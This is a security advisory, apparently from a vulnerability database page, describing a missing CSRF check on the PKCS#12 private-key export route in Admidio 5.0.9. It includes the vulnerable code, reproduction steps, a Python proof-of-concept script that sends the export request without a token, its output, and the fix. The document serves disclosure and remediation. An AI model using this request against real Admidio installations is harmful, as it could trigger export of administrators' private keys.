Admidio PKCS#12 private key export action lacks CSRF protection
Summary
The sensitive mode=export action in modules/sso/keys.php exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.
Vulnerable Code Links
- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94
- https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150
Vulnerable Code
// modules/sso/keys.php
case 'export':
// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
// src/SSO/Service/KeyService.php
public function exportToPkcs12(string $keyUUID, string $password = '') {
$ssoKey = new Key($this->db);
$ssoKey->readDataByUuid($keyUUID);
...
openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]);
header('Content-Type: application/x-pkcs12');
header('Content-Disposition: attachment; filename="' . $filename . '.p12"');
echo $pkcs12;
exit;
}
What Does The Code Mean
The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.
Why The Code Is Vulnerable
The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.
Verification Environment
- Application: Admidio
v5.0.9 - Runtime: Dockerized Admidio + MariaDB on
http://localhost:18080 - Validation mode: real deployed application, not isolated unit tests
Steps To Reproduce
- Log in as an administrator.
- Create or seed an SSO key pair.
- Send a POST request to
/modules/sso/keys.php?mode=export&uuid=<key-uuid>with onlykey_password=ExportPass123!and noadm_csrf_token. - Verify that the response returns
application/x-pkcs12and that the returned file parses successfully with OpenSSL.
PoC Script
import os
from pathlib import Path
from helpers import BASE_URL, login, new_session, save_json, save_text
KEY_UUID = os.environ["ADMIDIO_KEY_UUID"]
def main():
session = new_session()
login_result = login(session, "admin", "AdminPass123!")
resp = session.post(
f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}",
data={"key_password": "ExportPass123!"},
)
resp.raise_for_status()
Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content)
save_json(
"pkcs12_export_csrf_result.json",
{
"login": login_result,
"status_code": resp.status_code,
"content_type": resp.headers.get("Content-Type"),
"content_length": len(resp.content),
"content_disposition": resp.headers.get("Content-Disposition"),
},
)
if __name__ == "__main__":
main()
PoC Output
{
"content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"",
"content_length": 2644,
"content_type": "application/x-pkcs12",
"login": {
"cookies": {
"ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb"
},
"csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn",
"json": {
"status": "success",
"url": "http://localhost:18080/modules/overview.php"
},
"status_code": 200
},
"status_code": 200
}
MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Certificate bag
PKCS7 Data
Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Impact
A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.
Remediation And Suggestions
Restore CSRF validation and require a POST body token before exporting private key material.
case 'export':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Composer-Paket | admidio/admidio | < 5.0.10 | 5.0.10 |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N- Schwäche (CWE)
CWE-352- Plattform
- Composer
- Paket
admidio/admidio- Veröffentlicht
- 29.05.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-4rgq-38mh-9xqg - CC BY 4.0
Schwachstellenhistorie: admidio/admidio
Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 50
- Erste → letzte
- 03.2022 07.2026
- Ohne Fix
- 1
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 3
- Hoch 10
- Mittel 33
- Niedrig 4
Veröffentlichungen pro Jahr
- 2022: 3
- 2023: 7
- 2024: 3
- 2025: 1
- 2026: 36
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Admidio PKCS#12 private key export action lacks CSRF protection dieser Eintrag
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